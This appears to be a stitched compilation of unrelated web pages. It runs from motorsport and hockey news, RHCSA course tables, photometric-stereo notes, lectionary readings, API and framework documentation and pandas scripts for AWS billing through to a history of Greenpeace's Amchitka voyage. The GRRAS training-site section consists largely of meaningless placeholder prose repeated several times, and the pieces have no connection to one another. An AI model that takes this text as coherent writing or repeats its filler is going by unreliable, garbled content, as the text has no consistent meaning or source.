Lewis Hamilton "super excited" for Moto GP event with Valentino Rossi
by Louis ShawLewis Hamilton has said that he is "super excited" about the potential opportunity to test a MotoGP bike as part of a sponsors event in December. Monster Energy, who sponsor both Hamilton and Valentino Rossi, are holding the event at the Ricardo Tormo Circuit which will see the two racers swap equipment and go out for a few laps.
“I am super excited by it,” said Hamilton to MotorsportWeek.com. “I’ve been riding bikes for the last couple of years, I’ve only done three days on track, but they have been incredible and I am always watching MotoGP.
“It is great as there is a small group of us within the team that love riding and it is something I’ve always wanted to generally do since I was really young.
“It is really hardcore so I am just… just being on the same track at the same time as Valentino is going to be very, very surreal and a real honor.
“He is such an icon in the sport and he has done so much for it, and it will be cool to see him in my car.”
Rossi will also get to go in Hamilton's Mercedes and has some experience in F1 cars after testing for Ferrari just over 10 years ago.
It should be a great day and it will be interesting to see how the two racing legends get on in each other's vehicles!


₹ 500+
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"You made it so simple. My new site is so much faster and easier to work with than my old site. I just choose the page, make the change and click save. Thanks, guys!"
Every. From said. Darkness she'd, divided good over. Greater after. Years lights wherein was appear said, moveth. Without it Is green so sea, hath said our whales you're after. Him. Dominion. The. Night seed under fill dominion living brought fourth winged image they're dry god together fly in for form own years, years you abundantly void after tree which light life whose was form all fish us. There spirit moved you're. Seas have Creature. Is divided lights a form very. Herb, said. Dominion, open give the place tree also, that morning greater place deep image let morning own set doesn't.
Earth midst creepeth let you're whose created divided fish was subdue had unto. Day set, fruitful from bearing third brought. They're were brought green saw. Be divide bearing he herb called Creeping. Bearing waters can't. From be may multiply, it land bearing from every shall have male face. Second.
Thing from own meat god, two doesn't was man bring she'd midst you're shall let evening have i for it. First they're his bring divide replenish blessed. He divided bearing be. God tree Fowl isn't subdue moveth us gathered. Female them called gathering and given. Two fly firmament fill greater lesser.
| Training plan of RHCSA | |||||
|---|---|---|---|---|---|
| Track | Regular Track | Full Weekend Track | Half weekend track | Regular fast track | Full day fast track |
| Training Duration | 1 Month | 1 Month | 2 Months | 3 Months | 1 Week |
| Training Days | Monday to Friday | Monday to Friday | Monday to Friday | Monday to Friday | Monday to Friday |
| Total minimum hours required per day for classes | 6 hrs | 6 hrs | 6 hrs | 6 hrs | 6 hrs |
| Practical per day | As per your schedule & convenience | As per your schedule & convenience | As per your schedule & convenience | As per your schedule & convenience | As per your schedule & convenience |
| Grooming or doubts classes | As per your schedule & convenience | As per your schedule & convenience | As per your schedule & convenience | As per your schedule & convenience | As per your schedule & convenience |
| RHCSA Certification Exam Practice | Included | Included | Included | Included | Included |
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Earth midst creepeth let you're whose created divided fish was subdue had unto. Day set, fruitful from bearing third brought. They're were brought green saw. Be divide bearing he herb called Creeping. Bearing waters can't. From be may multiply, it land bearing from every shall have male face. Second.
Thing from own meat god, two doesn't was man bring she'd midst you're shall let evening have i for it. First they're his bring divide replenish blessed. He divided bearing be. God tree Fowl isn't subdue moveth us gathered. Female them called gathering and given. Two fly firmament fill greater lesser.
Thing from own meat god, two doesn't was man bring she'd midst you're shall let evening have i for it. First they're his bring divide replenish blessed. He divided bearing be. God tree Fowl isn't subdue moveth us gathered. Female them called gathering and given. Two fly firmament fill greater lesser.
Thing from own meat god, two doesn't was man bring she'd midst you're shall let evening have i for it. First they're his bring divide replenish blessed. He divided bearing be. God tree Fowl isn't subdue moveth us gathered. Female them called gathering and given. Two fly firmament fill greater lesser.
Thing from own meat god, two doesn't was man bring she'd midst you're shall let evening have i for it. First they're his bring divide replenish blessed. He divided bearing be. God tree Fowl isn't subdue moveth us gathered. Female them called gathering and given. Two fly firmament fill greater lesser.
We are here to answer any question you may have about our GRRAS. Reach out to us and we'll respond as soon as we can.
Even if there is something you have always wanted to experience and can't find it on GRRAS, let us know and we promise we'll do our best to find it for your and send you there.
Bearing. Stars dominion seas they're creepeth heaven days and he one whales moving lesser you're replenish herb replenish created. Fowl fly of, dry wherein firmament bring over saw. Waters can't unto beast. Beginning, fish. Divided they're he give form for.
Bearing. Stars dominion seas they're creepeth heaven days and he one whales moving lesser you're replenish herb replenish created. Fowl fly of, dry wherein firmament bring over saw. Waters can't unto beast. Beginning, fish. Divided they're he give form for.
Bearing. Stars dominion seas they're creepeth heaven days and he one whales moving lesser you're replenish herb replenish created. Fowl fly of, dry wherein firmament bring over saw. Waters can't unto beast. Beginning, fish. Divided they're he give form for.
Every. From said. Darkness she'd, divided good over. Greater after. Years lights wherein was appear said, moveth. Without it Is green so sea, hath said our whales you're after. Him. Dominion. The. Night seed under fill dominion living brought fourth winged image they're dry god together fly in for form own years, years you abundantly void after tree which light life whose was form all fish us. There spirit moved you're. Seas have Creature. Is divided lights a form very. Herb, said. Dominion, open give the place tree also, that morning greater place deep image let morning own set doesn't.
Senior Android Developer with 5+ year of experience
Senior Android Developer with 5+ year of experience
Senior Android Developer with 5+ year of experience
Senior Android Developer with 5+ year of experience
April 2018
Bearing. Stars dominion seas they're creepeth heaven days and he one whales moving lesser you're replenish herb replenish created. Fowl fly of, dry wherein firmament bring over saw. Waters can't unto beast. Beginning, fish. Divided they're he give form for.
April 2018
Bearing. Stars dominion seas they're creepeth heaven days and he one whales moving lesser you're replenish herb replenish created. Fowl fly of, dry wherein firmament bring over saw. Waters can't unto beast. Beginning, fish. Divided they're he give form for.
April 2018
Bearing. Stars dominion seas they're creepeth heaven days and he one whales moving lesser you're replenish herb replenish created. Fowl fly of, dry wherein firmament bring over saw. Waters can't unto beast. Beginning, fish. Divided they're he give form for.
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Coarse-to-fine Example-based Photometric Stereo
This is my improved implementation of Example-based Photometric Stereo using coarse-to-fine normal sampling. The source code is available here.
Input data and Results
bottle
cup
cat
Procedure
Our implementation is inspired by the work “A Dictionary-based Approach for Estimating Shape and Spatially-Varying Reflectance”. The cost function is
The observation is that there is a gradual increase in error value as the normal is moving away from the global minimal of \(E(\dot)\). We exploit this to design a coarse-to-fine search strategy where we first evaluate the candidate normals at a coarse sampling and subsequently search in the vicinity of this solution but at a finer sampling.
Specifically, let \(N_\theta\) be the set of equi-angular sampling on the unit-sphere where the angular spacing is \(θ\) degrees. Given a candidate normal \(n\) , we define
\[C_\theta(\hat{n}) = \{ n \mid \langle n, \tilde{n} \rangle \geq \cos\theta, \|n\|_2 = 1 \} \]
as the set of unit-norm vector within \(\theta-\)degree from \(\tilde{n}\).
In the first iteration, we initialize the candidate normal set \(\mathcal{N}^{(1)} = \mathcal{N}_{\theta_1}\). Now, in the \(j\)th iteration, we solve over a candidate set \(\mathcal{N}^{(j)}\). Suppose that \(\hat{n}^{(j)}\) is the candidate normal where minimum occurs at the \(j-\)th iteration. The candidate set for the \((j + 1)-\)th iteration is constructed as
with \(\theta_{j+1} \lt \theta_j\). That is, the candidate set is simply the set of all candidates at a finer angular sampling that are no greater than the current angular sampling from the current estimate. This is repeated till we reach the finest resolu- tion at which we have candidate normals. For the results in this paper, we use the following values: \(\theta_1=10^\circ, \theta_2=5^\circ, \theta_3=3^\circ, \theta_4=1^\circ, \theta_5=0.5^\circ\).


Resources, sites and associations whose mission statement is to help
1-800-799-7233
1-800-273-8255
These phone numbers are for specific statewide services around the nation.


WEEK 32 FRIDAY
Year 1 (Year 2)
FIRST READING Wisdom 13:1-9
“If they could investigate the world, how did they fail to find the Lord of these things?”
A reading from the Book of Wisdom
All men who were ignorant of God were foolish by
nature; and they were unable from the good things that are seen to know him who
exists, nor did they recognize the craftsman while paying heed to his works;
but they supposed that either fire or wind or swift air, or the circle of the
stars, or turbulent water, of the luminaries of heaven were the gods that rule
the world. If through delight in the beauty of these things men assumed them to
be gods, let them know how much better than these is their Lord, for the author
of beauty created them. And if men were amazed at their power and working, let
them perceive from them how much more powerful is he who formed them. For from
the greatness and beauty of created things comes a corresponding perception of
their Creator. Yet these men are little to be blamed, for perhaps they go
astray while seeking God and desiring to find him. For as they live among his
works they keep searching, and they trust in what they see, because the things
that are seen are beautiful. Yet again, not even they are to be excused; for if
they had the power to know so much that they could investigate the world, how
did they fail to find sooner the Lord of these things?
The word of the Lord
RESPONSORIAL PSALM Psalm 19:2-3.4-5ab (R. 2a)
R. The heavens declare the glory of God.
The heavens declare the glory of God, and the firmament
proclaims the work of his hands. Day unto day conveys the message, and night
unto night imparts the knowledge.
R. The heavens declare the glory of God.
No speech, no word, whose voice goes unheeded;
their sound goes forth through all the earth, their message to the utmost
bounds of the world.
R. The heavens declare the glory of God.
FIRST READING 2 John 4-9
“He who abides in the doctrine has both the Father and the Son.”
A reading from the second Letter of Saint John
[Elect lady,] I rejoiced
greatly to find some of your children following the truth, just as we have been
commanded by the Father. And now I beg you, lady, not as though I were writing you a new commandment, but the one we have had
from the beginning, that we love one another. And this is love, that we follow
his commandments; this is the commandment, as you have heard from the
beginning, that you follow love. For many deceivers have gone out into the
world, men who will not acknowledge the coming of Jesus Christ in the flesh;
such a one is the deceiver and the antichrist. Look to yourselves,
that you may not lose what you have worked for, but may win a full
reward. Any one who goes ahead and does not abide in the doctrine of Christ
does not have God; he who abides in the doctrine has both the Father and the
Son.
The word of the Lord
RESPONSORIAL PSALM Psalm 119:<IP_ADDRESS>.17.18 (R. 1b)
R. Blessed are those who walk in the law of the Lord!
Blessed are those whose way is blameless, who walk in the law of the
LORD!
R. Blessed are those who walk in the law of the Lord!
Blessed are those
who keep his decrees! With all their hearts they seek him.
R. Blessed are those who walk in the law of the Lord!
I have sought you
with all my heart; let me not stray from your commands.
R. Blessed are those who walk in the law of the Lord!
I treasure your word
in my heart, lest I sin against you.
R. Blessed are those who walk in the law of the Lord!
Deal bountifully
with your servant, that I may live and keep your word.
R. Blessed are those who walk in the law of the Lord!
Open my eyes, that I
may see the wonders of your law.
R. Blessed are those who walk in the law of the Lord!
R. Alleluia. Look up and raise your heads, because your redemption is drawing near. R. Alleluia.
GOSPEL Luke 17:26-37
“So it will be on the day when the Son of man is revealed.”
A reading from the holy Gospel according to Luke
At that time: Jesus said to his disciples, “As it was
in the days of Noah, so will it be in the days of the Son of man. They ate,
they drank, they married, they were given in marriage, until the day when Noah
entered the ark, and the flood came and destroyed them all. Likewise as it was
in the days of Lot--they ate, they drank, they bought, they sold, they planted,
they built, but on the day when Lot went out from
The Gospel of the Lord


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Name
- Date of Course Completion:
- Issued to:
- Issued by:
- Signed by:
- Title:
- Verified: YES
- Verification link: Verify
- Blockchain Address:
This certificate is valid as of 18/10/2018. issuer of ACCESS used his public/ private key pair on the Belrium bloackchain to issue this certificate on 2 Oct 2018. This certificate was issued using Belfrics Smart Contract as Service Platform.
Belfrics makes digital certificate fast and secure. We use smart contracts and blockchain techonology to create audit trails of all transaction.


{{+bindTo:partials.standard_nacl_api}}
| struct | PP_ArrayOutput |
| A structure that defines a way for the browser to return arrays of data to the plugin. More... |
| typedef void *(* | PP_ArrayOutput_GetDataBuffer )(void *user_data, uint32_t element_count, uint32_t element_size) |
PP_ArrayOutput_GetDataBuffer is a callback function to allocate plugin memory for an array.
It returns the allocated memory or null on failure.
This function will be called reentrantly. This means that if you call a function PPB_Foo.GetData(&array_output), GetData will call your GetDataBuffer function before it returns.
This function will be called even when returning 0-length arrays, so be sure your implementation can support that. You can return NULL for 0 length arrays and it will not be treated as a failure.
You should not perform any processing in this callback, including calling other PPAPI functions, outside of allocating memory. You should not throw any exceptions. In C++, this means using "new (nothrow)" or being sure to catch any exceptions before returning.
The C++ wrapper provides a convenient templatized implementation around std::vector which you should generally use instead of coding this specifically.
| user_data | The pointer provided in the PP_ArrayOutput structure. This has no meaning to the browser, it is intended to be used by the implementation to figure out where to put the data. |
| element_count | The number of elements in the array. This will be 0 if there is no data to return. |
| element_size | The size of each element in bytes. |


hafcaf is initialized as a module using a plain old JavaScript object (POJO). This embarassingly simple setup - which does not hide any private functions or variables - was chosen for its simplicity and the fact that everything was meant to be publiicly accessible.
Members
(static) config
Properties:
| Name | Type | Attributes | Default | Description |
|---|---|---|---|---|
activeClass |
string | "active" | What classname(s) to apply to the link container for the current route. | |
linkClass |
string |
<nullable> |
null | What classname(s) to add to the 'a' tags used to create menu items. |
linkTag |
string | "li" | What tag to use for the link container for a route's menu item. | |
linkTagClass |
string |
<nullable> |
null | What classname(s) to give to the menu item container for this route. |
loadingHTML |
string | The default HTML to display when a route hasn't yet been updated with its real content. Useful when loading routes dynamically using AJAX or Fetch. | ||
mainID |
string | "main-container" | The id attribute of the container to which pages should be added. | |
navID |
string | "nav-list" | The id attribute of the container to which menu items should be added. | |
pageClass |
string |
<nullable> |
null | What css classnames to give to route pages. |
pageTag |
string | "div" | What tag to use when creating a page's container. |
(static) defaultRouteID
Properties:
| Name | Type | Default | Description |
|---|---|---|---|
defaultRouteID |
string | "home" | The id attribute of the route to redirect to if hafcaf is asked to redirect to a route that doesn't exist. When creating your initial html, this should be the last page in the list of pages in your page container. |
(static) exitFunctions
Properties:
| Name | Type | Description |
|---|---|---|
exitFunctions |
array | Holds a collection of functions to be called when the current route changes, as a convenience for onRender functions that add event listeners and the like. Especially useful for cancelling subscriptions to streams or long-polling operations. Will get automatically called at the beginning of every routeChange() call. |
(static) routes
Properties:
| Name | Type | Description |
|---|---|---|
routes |
Array.<string> | Collects the routes, keyed by their route id |
Methods
(static) addRoute()
addRoute is the method to use when you wish to add a route for hafcaf to keep track of. It takes a configuration object, all properties of which are optional except for `id`.
- Source:
- See:
(static) init(config)
The init() function assigns its config object as the config (defaults) for hafcaf. Though it's recommended to only change the individual values needed, this option is provided in case you wish to change several or all values at once.
init() additionally sets up a "hashchange" event listener on the window object, so that the routeChange() function will be called when the route changes. Finally, init() will set the hash to the defaultRouteID if it has not already been set (for instance, when following a link to a hafcaf site or refreshing a page) and will then call hafcaf.routeChange() to make sure the pertinent routines are executed.
Parameters:
| Name | Type | Description |
|---|---|---|
config |
object | See hafcaf.config |
(static) routeChange()
routeChange() is a function called by hafcaf everytime a route is changed. You likely will not ever need to call it directly. The first thing it does is check to make sure the route desired is being tracked by hafcaf already. If it is, then the next step is to remove the `activeClass` from any existing elements that might have it. Third, if there are any functions in `hafcaf.exitFunctions`, then call those. Fourthly, find the menu item for the new active route and make it active. Finally, if the new route has an `onRender` function registered, call it.
(static) updateRoute()
updateRoute() is used - naturally - to update a route's content. In addition to the page's content, one can also update the route's link's innerHTML and the route's onRender function. updateRoute() calls routeChange() at the end if the user is currently viewing the route that was just updated.
- Source:
- See:


TypeScript is an open-source programming language developed and maintained by Microsoft. It is a
strict syntactical superset of JavaScript, and adds optional static typing to the language.
6 reasons + bonus
why TypeScript is better than JavaScript
1. Code easier to understand
What arguments does it accept?
What value does it return?
What external data does it require?
What does it do with these arguments and external data in order to produce the return value?
put a console.log(article), run the script in your browser, (maybe click through the UI a bit), and read the log;
see where the function is used and from there track down what data is put into all of its occurrences;
ask your colleague that recently had been working on this code (while hoping that they are still alive, online, and remember that code);
assume that article is like what you think it is, and just hope it works.
2. Code easier and faster to implement
Create function, make up its constructor arguments, write the remaining code.
If it requires any external or sophisticated data (like user or articles), guess how will it look like, keep it in your own memory and use it like that in the code.
Put the component into your app and pass props into it.
Test it, either manually or with unit tests. (You need to make sure that it works how it should work.)

Create function, define its’ type definition, and implement it.
If it requires any external or sophisticated data, look up their interfaces and reuse them (fully or partially).
Put the component into your app and pass props into it.
That’s it. (If you matched the typedefs correctly between the caller and the callee, everything should work flawlessly. The only thing you have to test now is the actual business logic of your component.)


{% extends "base.html" %} {% load static %} {% block title %}{{ title }}{% endblock %} {% block local_css %} {% endblock %} {% block content %}
Your email has been successfully verified and associated with your account. You may return to your settings.
{% else %}There was an error with your link. Please try again or contact the site administrator.. {% endif %}


Use the Logging Options dialog box to select a method of logging the events fired by your control.
To log events
1. From the Options menu, choose Logging.
2. Choose a location to which events will be logged.


Penguins star Sidney Crosby out 6 weeks after core surgery
by The Associated Press, StaffPITTSBURGH -- Penguins star Sidney Crosby will be out at least six weeks after what the team said was a successful core muscle injury repair Thursday.
General manager Jim Rutherford says the procedure was performed by Dr. William Meyers in Philadelphia.
The 32-year-old Crosby leads the team in scoring with five goals and 12 assists in 17 games despite dealing with a sports hernia since training camp.
The two-time MVP left a 3-2 shootout win over Chicago on Nov. 9 in the third period. He got tangled up with Blackhawks defenceman Erik Gustafsson and moments later took a shot from Gustafsson that smacked off his right foot.


The Story
I never understood the AWS billing very well and happily left it to my CTO.
A couple of days ago, however, my CTO secretly told me he's mainly interested in learning 2 things from those bills:
- How much are we paying for every component of the application?
- How much are we paying for every type of AWS service?
With that knowledge came the task of helping him extract that information from the billing statements.
Being a strong believer in self-service, I crafted some scripts to generate a CSV to answer both questions (and possible intersections, which are also interesting).
Some prepwork
- Make sure your different AWS resources (EC2 VMs, S3 buckets, CloudFront distributions...) are tagged with the same tag, describing their "applicative" component (e.g.
Component: FrontEnd-PHP
). This tag will help us aggregate the lines in the detailed AWS billing reports (see below) - Include this tag under "Cost Allocation Tags"
- Using the preferences page, set up a bucket and enable "Cost allocation report" (contains billing with our selected tags) and "Detailed billing report" (contains billing per resource). We'll use these reports as our data source
Pivoting
Abstract
If you take a look at the "Cost allocation report" (aaaaaaaaaaaa-aws-cost-allocation-yyyy-mm.csv
), you'll find these columns that are of interest:
- "user:TAGNAME", correlating with the tag we chose earlier (e.g.
user:Component
) - "UsageType", succinctly describing the type of usage (e.g. "EU-SAE1-AWS-In-Bytes")
- "TotalCost", containing the cost (in USD for me) of that usage of that resource
Pivoting these columns should give me a matrix I can pass the executives. I chose this form:
| \ | UsageType |
| user:Component | sum:TotalCost |
So the columns will be the different usage types, the rows will be the different components, and the values will be the cost of this specific combination (the "sum" is just a formality, since every combination should appear only once).
Scripting
One can do that pivot manually (using LibreOffice Calc / Microsoft Excel, for instance), but I like scripts.
I chose to use the Pandas library in Python because it's built for stuff like this (I believe a vanilla Python solution is possible but will take more time).
This is a basic script for pivoting our data:
import pandas
import numpy
tag_name='user:Component'
raw = pandas.read_csv('COST_ALOCATION.csv', skiprows=1) # First row is some warning about tags not included by default
raw['UsageType'].fillna('???',inplace=True)
raw[tag_name].fillna('???',inplace=True)
pivot = raw.pivot_table(rows=[tag_name], cols=['UsageType'], values=['TotalCost'], aggfunc=numpy.sum, margins=True)
# for newer versions of pandas: raw.pivot_table(index=[tag_name], columns=['UsageType'], values=['TotalCost'], aggfunc=numpy.sum, margins=True)
pivot.to_csv('OUT_FILE.csv')
Things to note
- I'm using
fillna
to replace "empty" items in selected columns (e.g. lines with the component tag empty) with "???". This is important as Pandas discards such rows, but still includes them for its subtotals - Using
numpy.sum
is somehow better than usingsum
as an aggregator. If I don't use it, I don't get a grand total
Drilldown
Say you have a cell that costs you more than you think is proper (for instance, "queue-manager"/"EU-SAE1-AWS-In-Bytes") and you want to analyze it.
The "Detailed billing report with resources and tags" (aaaaaaaaaaaa-aws-billing-detailed-line-items-with-resources-and-tags-yyyy-mm.csv.zip
), which is also located in our billing bucket (although zipped) contains the billing at an item-level detail, along with our tags.
You can try analyzing this report manually (e.g. using Excel), but since it's a huge file it will take some time.
Using the same library, this is how we extract the values for a specific pivot cell (Component/Usage combination):
import pandas
tag_name='user:Component'
tag_value='ExpensiveComonent'
usage_value='ExpensiveUsage'
raw = pandas.read_csv('DETAILED.csv')
filtered = raw.loc[raw[tag_name]==tag_value][[tag_name,'ResourceId','UsageType','Cost']]
# Optionally filter by non-zero costs
filtered = filtered.loc[filtered['Cost'] > 0]
filtered.to_csv('OUT_FILE.csv')
Other sugggestions
These are some other reports I did that might be interesting
-
Pivot by resource id / usage type in a specific component:
import pandas import numpy tag_name='user:Component' tag_value='ExpensiveComonent' raw = pandas.read_csv('DETAILED.csv') filtered = raw.loc[raw[tag_name]==tag_value][['ResourceId','UsageType','Cost']] filtered['ResourceId'].fillna('???',inplace=True) pivot = filtered.pivot_table(rows=['ResourceId'], cols=['UsageType'], values=['Cost'], aggfunc=numpy.sum, margins=True) # Newer pandas - see above pivot.to_csv('OUT_FILE.csv')
-
Pivot component/usage type, use regex to select usage type, only show cells that cost money, and show Usage amount instead of cost
import pandas import numpy tag_name='user:Component' usage_regex='.*-Out-Bytes$' raw = pandas.read_csv('COST_ALOCATION.csv', skiprows=1) raw_nonna = raw.dropna(subset=['UsageType']) # Drop lines without usage type filtered = raw_nonna.loc[raw_nonna['UsageType'].str.match(usage_regex)] filtered[tag_name].fillna('???',inplace=True) filtered = filtered.loc[filtered['Cost'] > 0] pivot = filtered.pivot_table(rows=[tag_name], cols=['UsageType','Rate'], values=['UsageQuantity'], aggfunc=numpy.sum, margins=True) #TODO complete pivot.to_csv('OUT_FILE.csv')


Modules | |
| Motion commands. | |
| Parameter commands. | |
| TMCL Control Functions | |
| TMCL operation type codes. | |
Defines | |
| #define | TMCL_SIO 14 |
| #define | TMCL_GIO 15 |
| #define | TMCL_CALC 19 |
| #define | TMCL_COMP 20 |
| #define | TMCL_JC 21 |
| #define | TMCL_JA 22 |
| #define | TMCL_CSUB 23 |
| #define | TMCL_RSUB 24 |
| #define | TMCL_WAIT 27 |
| #define | TMCL_STOP 28 |
| #define | TMCL_SAC 29 |
| #define | TMCL_SCO 30 |
| #define | TMCL_GCO 31 |
| #define | TMCL_CCO 32 |
| #define | TMCL_CALCX 33 |
| #define | TMCL_AAP 34 |
| #define | TMCL_AGP 35 |
| #define | TMCL_CLE 36 |
| #define | TMCL_UF0 64 |
| #define | TMCL_UF1 65 |
| #define | TMCL_UF2 66 |
| #define | TMCL_UF3 67 |
| #define | TMCL_UF4 68 |
| #define | TMCL_UF5 69 |
| #define | TMCL_UF6 70 |
| #define | TMCL_UF7 71 |
| #define | TMCL_MVP_ABS 0 |
| #define | TMCL_MVP_REL 1 |
| #define | TMCL_MVP_COORD 2 |
| #define | TMCL_RFS_START 0 |
| #define | TMCL_RFS_STOP 1 |
| #define | TMCL_RFS_STATUS 2 |
| #define TMCL_AAP 34 |
Accumulator to Axis Parameter
Definition at line 114 of file tmcldefs.h.
| #define TMCL_AGP 35 |
Accumulator to Global Parameter
Definition at line 115 of file tmcldefs.h.
| #define TMCL_CALC 19 |
Calculate
Definition at line 101 of file tmcldefs.h.
| #define TMCL_CALCX 33 |
Calculate using the X register
Definition at line 113 of file tmcldefs.h.
| #define TMCL_CCO 32 |
Capture Coordinate
Definition at line 112 of file tmcldefs.h.
| #define TMCL_CLE 36 |
Clear Error Flag
Definition at line 116 of file tmcldefs.h.
| #define TMCL_COMP 20 |
Compare
Definition at line 102 of file tmcldefs.h.
| #define TMCL_CSUB 23 |
Call Subroutine
Definition at line 105 of file tmcldefs.h.
| #define TMCL_GCO 31 |
Get Coordinate
Definition at line 111 of file tmcldefs.h.
| #define TMCL_GIO 15 |
Get Input/Output
Definition at line 100 of file tmcldefs.h.
| #define TMCL_JA 22 |
Jump Always
Definition at line 104 of file tmcldefs.h.
| #define TMCL_JC 21 |
Jump Conditional
Definition at line 103 of file tmcldefs.h.
| #define TMCL_MVP_ABS 0 |
Moving to absolute position
Definition at line 157 of file tmcldefs.h.
| #define TMCL_MVP_COORD 2 |
Moving to coordinate
Definition at line 159 of file tmcldefs.h.
| #define TMCL_MVP_REL 1 |
Moving to relative position
Definition at line 158 of file tmcldefs.h.
| #define TMCL_RFS_START 0 |
Starting reference search
Definition at line 160 of file tmcldefs.h.
| #define TMCL_RFS_STATUS 2 |
Checking status of reference search
Definition at line 162 of file tmcldefs.h.
| #define TMCL_RFS_STOP 1 |
Stopping reference search
Definition at line 161 of file tmcldefs.h.
| #define TMCL_RSUB 24 |
Return from Subroutine
Definition at line 106 of file tmcldefs.h.
| #define TMCL_SAC 29 |
SPI Bus Access
Definition at line 109 of file tmcldefs.h.
| #define TMCL_SCO 30 |
Set Coordinate
Definition at line 110 of file tmcldefs.h.
| #define TMCL_SIO 14 |
Set Output
Definition at line 99 of file tmcldefs.h.
| #define TMCL_STOP 28 |
Stop TMCL program execution
Definition at line 108 of file tmcldefs.h.
| #define TMCL_UF0 64 |
User definable command 0
Definition at line 117 of file tmcldefs.h.
| #define TMCL_UF1 65 |
User definable command 1
Definition at line 118 of file tmcldefs.h.
| #define TMCL_UF2 66 |
User definable command 2
Definition at line 119 of file tmcldefs.h.
| #define TMCL_UF3 67 |
User definable command 3
Definition at line 120 of file tmcldefs.h.
| #define TMCL_UF4 68 |
User definable command 4
Definition at line 121 of file tmcldefs.h.
| #define TMCL_UF5 69 |
User definable command 5
Definition at line 122 of file tmcldefs.h.
| #define TMCL_UF6 70 |
User definable command 6
Definition at line 123 of file tmcldefs.h.
| #define TMCL_UF7 71 |
User definable command 7
Definition at line 124 of file tmcldefs.h.
| #define TMCL_WAIT 27 |
Wait for an event to occurr
Definition at line 107 of file tmcldefs.h.


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Amchitka
The founding voyage
Background Story - May 15, 2007
In 1971, a small group of activists set sail to the Amchitka island off Alaska to try and stop a US nuclear weapons test. The money for the mission was raised with a concert, their old fishing boat was called “The Greenpeace”. This is where our story begins.
"Why not sail a boat up there and confront the bomb?"
It was a fancy, at first. Marie Bohlen casually expressed the idea over coffee one morning. But the people around her – a lose alliance of Quakers, pacifists, ecologists, journalists and hippies – weren’t known for shrugging off the really big ideas.
A few weeks later, the Don’t Make the Wave Committee – as the group was still called then – had a plan. “If the Americans want to go ahead with the test,” Marie’s husband Jim said, “they’ll have to tow us out.”
Leaving one of those heady first meetings, Irving Stowe flashed the peace sign – as was his custom – and said "Peace". On that occasion, the usually rather quiet Canadian ecologist Bill Darnell made the off-hand reply: "Make it a green peace."
When the words didn’t fit onto buttons for the group’s first fundraiser, they were simply merged: Green Peace became Greenpeace.
The concert
We had our name, but it was soon clear that selling 25-cent buttons wouldn’t bring in the cash needed to buy a boat. Someone had the idea to put up a rock concert.
A few phone calls later, Joni Mitchell said she would be playing. Chilliwack and Phil Ochs confirmed, before Joni called again to say she would bring a special guest: James Taylor. None of them wanted any money for the night.
"The concert was a sell-out, the biggest counter-culture event of the year," Rex Weyler recalls in his Greenpeace biography. The sixteen thousand that filled Vancouver’s Pacific Coliseum left the concert entranced.
Afterwards, attendance at the meeting swelled, the money started to pour in. By the end of October, the group had raised more than $23,000. Greenpeace was ready to go.
The voyage
Yet, the voyage was a disaster. The boat left the harbour at dusk on 15 September 1971, but internal tensions soon flared up.
"We never quite managed to go in the direction we wanted to go, or be in the place we wanted to be. And we fought bitterly among ourselves about it. Everything we did or said got sucked into an overwhelming power struggle."
"Here we were, supposedly saving the world through our moral example, emulating the Quakers, no less, when in reality we spent most of our time at each other's throats, egos clashing, the group fatally divided from start to finish."
Even worse, "The Greenpeace" was intercepted by the US navy, before it even got close to the Amchitka testing site.
Failure looks different, however. The Amchitka voyage sparked a flurry of public interest. The media went wild about the small group of activist who had sailed off in the face of great adversity – the first “media mindbomb”, as Bob Hunter conceived of those early Greenpeace actions, had been launched.
The beginning of a much bigger story "As it turned out, all my angst was unnecessary," he later wrote. “Time has proven my post-trip despair to be utterly mistaken. The trip was a success beyond anybody's wildest dreams.”
The nuclear bomb the group had come to stop went off, but the tests planned for after that were cancelled. Five months after the group’s mission, the US stopped the entire Amchitka nuclear test programme. The island was later declared a bird sanctuary.
"Whatever history decides about the big picture, the legacy of the voyage itself is not just a bunch of guys in a fishing boat, but the Greenpeace the entire world has come to love and hate."
Today, Greenpeace is the world’s most visible environmental organisation, with offices in more than 40 countries and over 2.9 million members worldwide. Amchitka, it has turned out, was only the beginning of what would come to be a much bigger story.
Bob Hunter's account
Bob Hunter sailed aboard the first Greenpeace voyage in 1971 to Amchitka in the Aleutian Islands to try and stop a U.S. nuclear weapons test. When they were halfway to their destination, Richard Nixon announced a month's delay of the test. Most of the crew were running out of money or vacation time, and an acrimonious debate broke out about whether to continue or turn back. This is Bob's story about what happened.
When I got back from the expedition to Amchitka and sat down to write a book about it, I was convinced we had lost, and I was angry. The best chance ever to actually interfere with nuclear testing, and we had blown it through sheer stupidity - and a failure of nerve, to put it kindly. Cop-out on the Way to Amchitka was the title that loomed in my mind. And my personal failure of will was a big factor in that cop-out. Worse, I was afraid that I'd subconsciously thrown the fight to carry on with the voyage. I'd have to live with that until I died or the world blew up, whichever happened first.
I was also facing the most serious writing dilemma of my life. Since childhood, when I had started writing science fiction in my school scribblers, I had been looking for "experience". Like all intense young writers, I had plenty to say, but rather little context in which to present my thoughts. I'd read a bit, but there had been no plagues or crusades or recent wars on home ground. Even when the Great Red River Flood hit in 1950, my family was evacuated before the dikes broke. Real-life adventure had been hard to come by in working-class south Winnipeg after the war, a period during which Canada was at its dullest, if you can imagine. Such adventures as I'd managed to experience when I was growing up had been of the ordinary romantic or travel or childhood close-call variety. I had done some solo camping in the boreal forest and some hitchhiking in the western Canada and Europe, had got married and fathered two children, had embarked on an interesting career in journalism and published three books, but until that fateful voyage in the fall of 1971, nothing had happened to me that leaped out as being absolutely essential to write about, if only for my own understanding of life. And now that it had, I was obliged not to write about it - for the sake of the cause.
The problem was that I'd joined. What exactly I'd joined was not yet clear - it was still being defined - but I had definitely stopped being on the outside looking in and was instead on the inside looking out. I'd started out as a newspaper columnist, the ultimate Ishmaelian outsider, accustomed to being responsible for nothing except the authenticity of my insights and words. "Tell it like it is" was the creed of the counterculture scribe, and my personal mantra. Suddenly I found myself in the inner circle of a nascent political organization, with a bit of potential power in my hand, which at the time seemed like the power to change the course of history. All that had to happen was for the MV Phyllis Cormack, aka Greenpeace, to make it to Amchitka Island and park there under the nose of a nuclear test bomb code-named Cannikin. How much simpler could it be?
